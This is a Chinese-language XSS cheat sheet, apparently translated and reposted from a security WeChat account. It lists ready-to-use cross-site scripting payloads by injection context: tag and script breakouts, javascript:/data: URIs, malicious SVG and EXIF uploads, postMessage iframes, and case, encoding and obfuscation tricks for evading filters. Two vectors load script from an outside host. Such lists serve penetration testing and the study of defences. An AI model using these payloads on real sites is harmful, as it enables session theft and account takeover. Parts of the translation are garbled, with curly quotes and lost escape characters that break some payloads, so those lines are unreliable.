Xss 备忘单

admin 2022年3月5日04:55:23评论80 views字数 2684阅读8分56秒阅读模式


Xss 备忘单


HTML 上下文——简单的标签注入


当输入位于 HTML 标记或外部标记的属性值内时使用。

<svg onload=alert(1)> "><svg onload=alert(1)>


HTML 上下文——在块标记注入中


当输入位于以下标签的打开/关闭之内或之间时使用:


<title><style><script><textarea><noscript><pre><xmp> and <iframe> (</tag> isaccordingly).</tag><svg onload=alert(1)>“></tag><svg onload=alert(1)>


HTML 上下文——源代码注入


当输入作为以下 HTML 标记属性的值时使用:href、src、data
或 action(也称为 formaction)。对于脚本标签中的 src,使用外部脚本调用 (URL) 或
“data:,alert(1)”。下面的第二个有效负载警报超出了 Webkit 浏览器的目标上下文。

javascript:alert(1)data:text/html,<svg onload=alert(1)>


Javascript 上下文——逻辑块中的代码注入


当输入落在脚本块中、字符串分隔
值内和单个逻辑块内(如函数或条件(if、else 等))时,使用第一个或第二个有效负载。如果
引号用反斜杠转义,请使用第三个有效负载。

‘}alert(1);{‘‘}alert(1)%0A{‘’}alert(1);{//


Javascript 上下文——标签注入


当输入位于脚本块中的任何位置时使用。

</script><svg onload=alert(1)


反射型


用于利用同一页面上的多次反射。

'onload=alert(1)><svg/1=' '>alert(1)</script><script/1=' */alert(1)</script><script>/*


用于利用同一页面上的多次反射。

*/alert(1)”>’onload=”/*<svg/1=’`-alert(1)”>’onload=”`<svg/1=’*/</script>’>alert(1)/*<script/1=’


用于利用同一页面上的多个输入反射。

p=<svg/1='&q='onload=alert(1)> p=<svg 1='&q='onload='/*&r=*/alert(1)'>


文件上传注入——元数据


当上传文件的元数据反映在目标页面的某处时使用。它使用
命令行 exiftool 并且可以设置任何元数据字段。

brute@logic:~$ exiftool -Artist='”><svg onload=alert(1)>' xss.jpeg


文件上传注入——SVG文件


用于在上传图像文件时在目标上创建存储的 XSS。将下面的内容保存
为“xss.svg”。

<svg xmlns=”http://www.w3.org/2000/svg” onload=”alert(1)”/>


DOM 插入注入


当注入作为有效标记插入 DOM 而不是
反映在源代码中时,用于测试 XSS。它适用于脚本标签和其他向量
不起作用的情况。

<img src=1 onerror=alert(1)> <iframe src=javascript:alert(1)>


当页面的 javascript 代码向页面中插入对
攻击者控制的 URL 的请求结果(注入)时使用。

data:text/html,<img src=1 onerror=alert(1)>data:text/html,<iframe src=javascript:alert(1)>


脚本注入


反射后代码中某处有结束脚本标记 (</script>) 时使用。

<script src=data:,alert(1)> <script src=//brutelogic.com.br/1.js>


Javascript postMessage() DOM 注入(使用 Iframe)


当 javascript 代码中的“window.addEventListener('message', ...)”中存在“消息”事件侦听器时使用,
无需检查来源。目标必须能够被框起来(根据上下文的 X-Frame 选项标头)。另存为 HTML 文件(或使用 data:text/html),提供 TARGET_URL 和INJECTION(XSS 向量或有效负载)。

<iframe src=TARGET_URL onload=”frames[0].postMessage(‘INJECTION’,’*’)”>


混合大小写 XSS


用于绕过区分大小写的过滤器。

<Svg OnLoad=alert(1)> <Script>alert(1)</Script>


未封闭的标签


在 HTML 注入中使用以避免基于低于 (<)
和大于 (>) 符号的过滤。
在输入反射后,它需要本机大于登录源代码。

<svg onload=alert(1)// <svg onload=”alert(1)”


大写 XSS


当应用程序以大写形式反映输入时使用。

<SVG ONLOAD=alert(1)> <SCRIPT SRC=//BRUTELOGIC.COM.BR/1></SCRIPT>


双编码 XSS


当应用程序对输入执行双重解码时使用。

%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E %2522%253E%253Csvg%2520o%256Enoad%253Dalert%25281%2529%253E


不带括号的警报(仅限字符串)


当不允许使用括号并且
一个简单的警告框就足够时,在 HTML 矢量或 javascript 注入中使用。
警报alert(1)没有字母字符的警报在不允许使用字母字符时使用。以下是警报alert(1)

[]['146151154164145162']['143157156163164162165143164157162'] ('141154 145162164506151')()


警报混淆


用于欺骗几个正则表达式 (regex) 过滤器。它可能与
以前的替代方案结合使用(上图)。根据上下文,最短选项“top”也可以替换为“window”、“parent”、“self”或“this”。

(alert)(1)a=alert,a(1)[1].find(alert)top[“al”+”ert”](1)top[/al/.source+/ert/.source](1)alu0065rt(1)top[‘al145rt’](1)top[8680439..toString(30)](1)


原文始发于微信公众号(Khan安全攻防实验室):Xss 备忘单

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月5日04:55:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Xss 备忘单https://cn-sec.com/archives/816854.html

发表评论

匿名网友 填写信息